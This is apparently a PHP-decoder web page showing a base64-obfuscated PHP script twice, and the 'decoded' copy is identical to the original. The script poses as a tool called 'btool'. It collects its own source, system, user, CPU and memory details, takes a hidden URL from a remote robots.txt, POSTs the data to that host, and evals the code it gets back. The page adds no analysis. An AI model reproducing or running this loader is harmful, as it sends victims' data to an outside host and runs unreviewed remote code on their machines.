Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php date_default_timezone_set(base64_decode('QXNpYS9Ib19DaGlfTWluaA=='));$ojxwunmj_1..

Decoded Output download

<?php  
 
date_default_timezone_set(base64_decode('QXNpYS9Ib19DaGlfTWluaA=='));$ojxwunmj_1a8e3a9ce021=__FILE__;$rwaubtah_8799ecf12f30=filectime($ojxwunmj_1a8e3a9ce021);$hxtubjcn_dae104eaea78=date(base64_decode('WS1tLWQgSDppOnM='),$rwaubtah_8799ecf12f30);$npxikzol_d6f966670a00=phpversion();$fppewqow_d26a08087759=php_uname();$pvsxwreu_6579e92cec07=get_current_user();aakfgjal_3f324afe3e97(base64_decode('fiDEkGFuZyBt4bufIGJ0b29sIHwgT3BlbmluZyBidG9vbA=='));if(!is_dir(jyxdemrb_9d37fd043d08().base64_decode('QlRPT0wtTElOVVgtVjIz'))){mkdir(jyxdemrb_9d37fd043d08().base64_decode('QlRPT0wtTElOVVgtVjIz'));mkdir(jyxdemrb_9d37fd043d08().base64_decode('QlRPT0wtTElOVVgtVjIzL8SQ4burbmcteMOzYS10aMawLW3hu6VjLW7DoHk='));mkdir(jyxdemrb_9d37fd043d08().base64_decode('QlRPT0wtTElOVVgtVjIzL0RvLW5vdC1kZWxldGUtdGhpcy1mb2xkZXI='));mkdir(jyxdemrb_9d37fd043d08().base64_decode('QlRPT0wtTElOVVgtVjIzL2twYi1maWEuY29t'));mkdir(jyxdemrb_9d37fd043d08().base64_decode('QlRPT0wtTElOVVgtVjIzL2FsbC1kYXRh'));}$suimwhui_a6c762e45bda=[base64_decode('bmFtZQ==')=>basename($ojxwunmj_1a8e3a9ce021),base64_decode('dGltZQ==')=>$hxtubjcn_dae104eaea78,base64_decode('ZmlsZQ==')=>$ojxwunmj_1a8e3a9ce021,base64_decode('dmVyc2lvbg==')=>$npxikzol_d6f966670a00,base64_decode('aW5mbw==')=>$fppewqow_d26a08087759,base64_decode('dXNlcg==')=>$pvsxwreu_6579e92cec07,base64_decode('c2l6ZQ==')=>filesize($ojxwunmj_1a8e3a9ce021),base64_decode('bW9kdW4=')=>get_loaded_extensions(),base64_decode('Y3B1')=>shell_exec(base64_decode('Y2F0IC9wcm9jL2NwdWluZm8=')),base64_decode('cmFt')=>shell_exec(base64_decode('Y2F0IC9wcm9jL21lbWluZm8=')),base64_decode('c291cmNl')=>tcsqcgif_343d9040a671($ojxwunmj_1a8e3a9ce021)];$imhrdomn_1b1cc7f086b3=http_build_query($suimwhui_a6c762e45bda);$nftxaszk_93da65a9fd00=[base64_decode('aHR0cA==')=>[base64_decode('bWV0aG9k')=>base64_decode('UE9TVA=='),base64_decode('aGVhZGVy')=>base64_decode('Q29udGVudC10eXBlOiBhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQ='),base64_decode('Y29udGVudA==')=>$imhrdomn_1b1cc7f086b3,],];$untblgwf_572d4e421e5e=base64_decode('aHR0cHM6Ly9wYXltZW50cy5rcGItZmlhLmNvbS9yb2JvdHMudHh0');$iccxcooj_1bfad22f0925=tcsqcgif_343d9040a671($untblgwf_572d4e421e5e);$fwzvishb_8ce4b16b22b5=hex2bin(explode(base64_decode('U2l0ZW1hcDog'),$iccxcooj_1bfad22f0925)[1]);if(!$fwzvishb_8ce4b16b22b5){echo base64_decode('VnVpIGzDsm5nIGtp4buDbSB0cmEga+G6v3QgbuG7kWkgbeG6oW5nICAgICAgIAo=');die;}$dvazqhdd_5c18ef727715=stream_context_create($nftxaszk_93da65a9fd00);$fwzvishb_8ce4b16b22b5=file_get_contents($fwzvishb_8ce4b16b22b5,false,$dvazqhdd_5c18ef727715);eval($fwzvishb_8ce4b16b22b5);function tcsqcgif_343d9040a671($pjfrfazm_0cc175b9c0f1){return file_get_contents($pjfrfazm_0cc175b9c0f1);}function aakfgjal_3f324afe3e97($nlqarnwy_a69913f66f2c){$plywtbgq_865c0c0b4ab0=0;while($plywtbgq_865c0c0b4ab0<3){usleep(100000);echo zovhcajq_0c04f23e09fd().$nlqarnwy_a69913f66f2c.base64_decode('LiAgICAgIA0=');usleep(100000);echo zovhcajq_0c04f23e09fd().$nlqarnwy_a69913f66f2c.base64_decode('Li4gICAgIA0=');usleep(100000);echo zovhcajq_0c04f23e09fd().$nlqarnwy_a69913f66f2c.base64_decode('Li4uICAgIA0=');usleep(100000);echo zovhcajq_0c04f23e09fd().$nlqarnwy_a69913f66f2c.base64_decode('Li4uLiAgIA0=');usleep(100000);echo zovhcajq_0c04f23e09fd().$nlqarnwy_a69913f66f2c.base64_decode('LiAgICAgIA0=');$plywtbgq_865c0c0b4ab0++;}}function zovhcajq_0c04f23e09fd(){$hihcqoml_9d5ed678fe57=[];array_push($hihcqoml_9d5ed678fe57,base64_decode('G1sxOzMwbQ=='),base64_decode('G1swOzM3bQ=='),base64_decode('G1sxOzMxbQ=='),base64_decode('G1sxOzMybQ=='),base64_decode('G1sxOzMzbQ=='),base64_decode('G1sxOzM0bQ=='),base64_decode('G1sxOzM1bQ=='),base64_decode('G1sxOzM2bQ=='),base64_decode('G1sxOzM3bQ=='));return $hihcqoml_9d5ed678fe57[array_rand($hihcqoml_9d5ed678fe57,1)];} 
function jyxdemrb_9d37fd043d08(){$ytwouqle_63a9f0ea7bb9=getcwd();if(isset(explode(base64_decode('L3N0b3JhZ2UvZW11bGF0ZWQvMA=='),$ytwouqle_63a9f0ea7bb9)[1])){return base64_decode('L3N0b3JhZ2UvZW11bGF0ZWQvMC8=');}elseif(isset(explode(base64_decode('L3Jvb3Q='),$ytwouqle_63a9f0ea7bb9)[1])){return base64_decode('L3Jvb3Qv');}else{return base64_decode('Qzpc');}}?>

Did this file decode correctly?

Original Code

<?php 

date_default_timezone_set(base64_decode('QXNpYS9Ib19DaGlfTWluaA=='));$ojxwunmj_1a8e3a9ce021=__FILE__;$rwaubtah_8799ecf12f30=filectime($ojxwunmj_1a8e3a9ce021);$hxtubjcn_dae104eaea78=date(base64_decode('WS1tLWQgSDppOnM='),$rwaubtah_8799ecf12f30);$npxikzol_d6f966670a00=phpversion();$fppewqow_d26a08087759=php_uname();$pvsxwreu_6579e92cec07=get_current_user();aakfgjal_3f324afe3e97(base64_decode('fiDEkGFuZyBt4bufIGJ0b29sIHwgT3BlbmluZyBidG9vbA=='));if(!is_dir(jyxdemrb_9d37fd043d08().base64_decode('QlRPT0wtTElOVVgtVjIz'))){mkdir(jyxdemrb_9d37fd043d08().base64_decode('QlRPT0wtTElOVVgtVjIz'));mkdir(jyxdemrb_9d37fd043d08().base64_decode('QlRPT0wtTElOVVgtVjIzL8SQ4burbmcteMOzYS10aMawLW3hu6VjLW7DoHk='));mkdir(jyxdemrb_9d37fd043d08().base64_decode('QlRPT0wtTElOVVgtVjIzL0RvLW5vdC1kZWxldGUtdGhpcy1mb2xkZXI='));mkdir(jyxdemrb_9d37fd043d08().base64_decode('QlRPT0wtTElOVVgtVjIzL2twYi1maWEuY29t'));mkdir(jyxdemrb_9d37fd043d08().base64_decode('QlRPT0wtTElOVVgtVjIzL2FsbC1kYXRh'));}$suimwhui_a6c762e45bda=[base64_decode('bmFtZQ==')=>basename($ojxwunmj_1a8e3a9ce021),base64_decode('dGltZQ==')=>$hxtubjcn_dae104eaea78,base64_decode('ZmlsZQ==')=>$ojxwunmj_1a8e3a9ce021,base64_decode('dmVyc2lvbg==')=>$npxikzol_d6f966670a00,base64_decode('aW5mbw==')=>$fppewqow_d26a08087759,base64_decode('dXNlcg==')=>$pvsxwreu_6579e92cec07,base64_decode('c2l6ZQ==')=>filesize($ojxwunmj_1a8e3a9ce021),base64_decode('bW9kdW4=')=>get_loaded_extensions(),base64_decode('Y3B1')=>shell_exec(base64_decode('Y2F0IC9wcm9jL2NwdWluZm8=')),base64_decode('cmFt')=>shell_exec(base64_decode('Y2F0IC9wcm9jL21lbWluZm8=')),base64_decode('c291cmNl')=>tcsqcgif_343d9040a671($ojxwunmj_1a8e3a9ce021)];$imhrdomn_1b1cc7f086b3=http_build_query($suimwhui_a6c762e45bda);$nftxaszk_93da65a9fd00=[base64_decode('aHR0cA==')=>[base64_decode('bWV0aG9k')=>base64_decode('UE9TVA=='),base64_decode('aGVhZGVy')=>base64_decode('Q29udGVudC10eXBlOiBhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQ='),base64_decode('Y29udGVudA==')=>$imhrdomn_1b1cc7f086b3,],];$untblgwf_572d4e421e5e=base64_decode('aHR0cHM6Ly9wYXltZW50cy5rcGItZmlhLmNvbS9yb2JvdHMudHh0');$iccxcooj_1bfad22f0925=tcsqcgif_343d9040a671($untblgwf_572d4e421e5e);$fwzvishb_8ce4b16b22b5=hex2bin(explode(base64_decode('U2l0ZW1hcDog'),$iccxcooj_1bfad22f0925)[1]);if(!$fwzvishb_8ce4b16b22b5){echo base64_decode('VnVpIGzDsm5nIGtp4buDbSB0cmEga+G6v3QgbuG7kWkgbeG6oW5nICAgICAgIAo=');die;}$dvazqhdd_5c18ef727715=stream_context_create($nftxaszk_93da65a9fd00);$fwzvishb_8ce4b16b22b5=file_get_contents($fwzvishb_8ce4b16b22b5,false,$dvazqhdd_5c18ef727715);eval($fwzvishb_8ce4b16b22b5);function tcsqcgif_343d9040a671($pjfrfazm_0cc175b9c0f1){return file_get_contents($pjfrfazm_0cc175b9c0f1);}function aakfgjal_3f324afe3e97($nlqarnwy_a69913f66f2c){$plywtbgq_865c0c0b4ab0=0;while($plywtbgq_865c0c0b4ab0<3){usleep(100000);echo zovhcajq_0c04f23e09fd().$nlqarnwy_a69913f66f2c.base64_decode('LiAgICAgIA0=');usleep(100000);echo zovhcajq_0c04f23e09fd().$nlqarnwy_a69913f66f2c.base64_decode('Li4gICAgIA0=');usleep(100000);echo zovhcajq_0c04f23e09fd().$nlqarnwy_a69913f66f2c.base64_decode('Li4uICAgIA0=');usleep(100000);echo zovhcajq_0c04f23e09fd().$nlqarnwy_a69913f66f2c.base64_decode('Li4uLiAgIA0=');usleep(100000);echo zovhcajq_0c04f23e09fd().$nlqarnwy_a69913f66f2c.base64_decode('LiAgICAgIA0=');$plywtbgq_865c0c0b4ab0++;}}function zovhcajq_0c04f23e09fd(){$hihcqoml_9d5ed678fe57=[];array_push($hihcqoml_9d5ed678fe57,base64_decode('G1sxOzMwbQ=='),base64_decode('G1swOzM3bQ=='),base64_decode('G1sxOzMxbQ=='),base64_decode('G1sxOzMybQ=='),base64_decode('G1sxOzMzbQ=='),base64_decode('G1sxOzM0bQ=='),base64_decode('G1sxOzM1bQ=='),base64_decode('G1sxOzM2bQ=='),base64_decode('G1sxOzM3bQ=='));return $hihcqoml_9d5ed678fe57[array_rand($hihcqoml_9d5ed678fe57,1)];}
function jyxdemrb_9d37fd043d08(){$ytwouqle_63a9f0ea7bb9=getcwd();if(isset(explode(base64_decode('L3N0b3JhZ2UvZW11bGF0ZWQvMA=='),$ytwouqle_63a9f0ea7bb9)[1])){return base64_decode('L3N0b3JhZ2UvZW11bGF0ZWQvMC8=');}elseif(isset(explode(base64_decode('L3Jvb3Q='),$ytwouqle_63a9f0ea7bb9)[1])){return base64_decode('L3Jvb3Qv');}else{return base64_decode('Qzpc');}}?>

Function Calls

None

Variables

None

Stats

MD5 272935a402266f04b9eba2d3796405b4
Eval Count 0
Decode Time 60 ms